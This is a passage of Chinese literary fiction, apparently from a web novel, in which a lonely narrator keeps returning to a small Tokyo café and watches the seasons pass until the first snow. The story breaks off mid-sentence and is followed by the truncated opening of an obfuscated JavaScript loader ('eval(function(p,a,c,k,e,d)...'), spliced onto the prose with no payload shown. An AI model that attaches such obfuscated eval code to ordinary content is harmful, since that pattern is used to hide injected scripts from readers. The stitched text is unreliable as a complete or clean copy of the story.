唯一的例外，是偶尔我会独自一人，乘坐上极为漫长的电车，穿过大半个城市，回到原来的街区，走向那家小小的、有着暖黄灯光和落地玻璃窗的咖啡店。
这里曾是我们短暂而珍贵的汇合点，门上的铃铛会发出清脆的声响，店内飘散着研磨咖啡豆的香气与甜点的暖香。柜台后，那位总是系着干净围裙、慈眉善目的老奶奶似乎还记得我，会对我温和地笑笑。
我会点一份最小的焦糖蛋糕和一杯清水，小口小口的吃着，努力从这短暂的甜味中回忆起任何一丝曾经感受过的满足滋味。但味蕾骗不了人，我只能尝到糖、奶油、焦糖酱，以及吞咽后喉头残留的黏腻感。色彩无法因记忆还原，味道也是。
我慢慢地吃完那一小块蛋糕，付钱，推开那扇再次响起铃铛的门，重新没入都市陌生的人流。我就像一个固执又沉默的朝圣者，定期回到早已荒芜的圣地，进行一场无人理解、也无需他人理解的、与自我记忆的徒劳对话。
就这样，我一个人走过了樱花落尽后绿叶成荫的春，走过了闷热冗长、蝉鸣刺耳的夏，走过了枫叶如火、最终凋零成泥的秋。日历一页页无情翻过，时间以它漠不关心的恒常步伐向前碾压，将凝固的、灰暗的时光轻易抛在身后。
初冬的寒潮来袭时，东京下了第一场雪。细碎的粉末在黄昏提早降临的灰蓝色天幕下，借着路灯昏黄的光柱，稀疏而懒洋洋地飘洒。它们尚未能在地面枝头积攒起像样的白，只是将世界染上一层潮湿的、灰蒙蒙的色调。放学铃声响起时，我像往常一样收拾好几乎没有翻动过的笔记，背上书包，随着人流走出校门。
我没有走向熟悉的
;eval(function(p,a,c,k,e,d){e=function(c){return(c